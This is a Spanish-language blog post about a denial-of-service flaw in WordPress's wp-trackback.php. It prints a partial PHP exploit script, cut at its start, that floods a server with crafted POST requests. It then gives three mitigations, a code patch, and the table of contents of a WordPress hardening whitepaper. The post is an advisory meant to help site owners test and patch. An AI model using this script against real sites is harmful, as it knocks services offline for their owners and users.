Fallo de seguridad en WordPress

Hace apenas un par de días atrás José Carlos Norte notificaba acerca de un fallo en todas las versiones de WordPress que permitía a un atacante ejecutar una rutina de denegación de servicios en los servidores que estén brindando alojamiento a un sitio desarrollado con WordPress.

Dicho fallo radica en el archivo wp-trackback.php al no validar como corresponde la variable $charset y de esta manera permite el paso de peticiones del tipo POST especialmente diseñada con una cantidad indeterminada de parámetros, causando de esta manera el consumo masivo de recursos en el servidor afectado.

El exploit
El siguiente código nos permitirá saber si nuestro sitio web es o no vulnerable a tal cobarde ataque y de esa manera podremos proceder a realizar el patcheo correspondiente al bug.

0) {
echo “down!!!!\n”;
exit;
}
echo “unable to connect to: “.$data[‘host’].”\n”;
exit;
}

fputs($fp, “POST $path HTTP/1.1\r\n”);
fputs($fp, “Host: “.$data[‘host’].”\r\n”);
fputs($fp, “Content-type: application/x-www-form-urlencoded\r\n”);
fputs($fp, “Content-length: “.strlen($str).”\r\n”);
fputs($fp, “Connection: close\r\n\r\n”);
fputs($fp, $str.”\r\n\r\n”);

echo “hit!\n”;
$count++;
}

?>

La solución
Hay tres maneras de evitar ser víctimas de este fallo. Una sería modificando el parámetro php_memory_limit del php.ini en la configuración de nuestro servidor y con esto evitaríamos que las aplicaciones que allí se ejecuten consuman solo los recursos que nosostros le dispongamos, la segunda es consultar si nuestro hosting posee mod_security, ya que filtraría los paquetes “malintencionados” o masivos y la tercera es simplemente, modificar el archivo wp-trackback.php
Nuevamente, José Carlos Norte nos brinda la solución:
La linea 45 del archivo wp-trackback.php: $charset = $_POST[‘charset’];
Debe ser reemplaza por el siguiente código:
$charset = str_replace(”,”,””,$_POST[‘charset’]);
if(is_array($charset)) { exit; }

También podemos encontrar soluciones a diversos inconvenientes de seguridad en un “whitepaper” provisto por la gente de DragonJar.org en donde nos sugieren el uso de otro tipo de técnicas para mantener seguro nuestro blog como el WP-IDS, un mod para WordPress modificado en el mismo paper.

El whitepaper de DragonJar abarca los siguientes temas
1. Introducción
2. Instalando WordPress

2.1. Accediendo a las tablas de WordPress
2.2. Cambiando el prefijo de las tablas
2.3. Antes de la instalación
2.4. Cambio manualmente
2.5. Através del cambiador de prefijos de WordPress
3. Preparando el Blog
3.1. Cambiando el nombre de usuario “admin”
3.2. Creando un nuevo usuario con acceso limitado
4. Endureciendo la instalación de WP
4.1. Restringiendo wp-content y wp-includes
4.2. Restringiendo wp-admin
4.2.1. Bloquear todo excepto tu IP
4.3. Contraseña requerida – .htpasswd
4.3.1 El archivo .htaccess
4.3.2 El archivo .htpasswd
5. Plugins necesarios
5.1 WPIDS – Detector de intrusos
5.2 WordPress Plugin Tracker – ¿Estas actualizado?
5.3 WordPress Online Security Scanner

Nota: El documento se encuentra en inglés.

Descarga

Vía | DragonJar.org | José Carlos Norte

Dejame un comentario.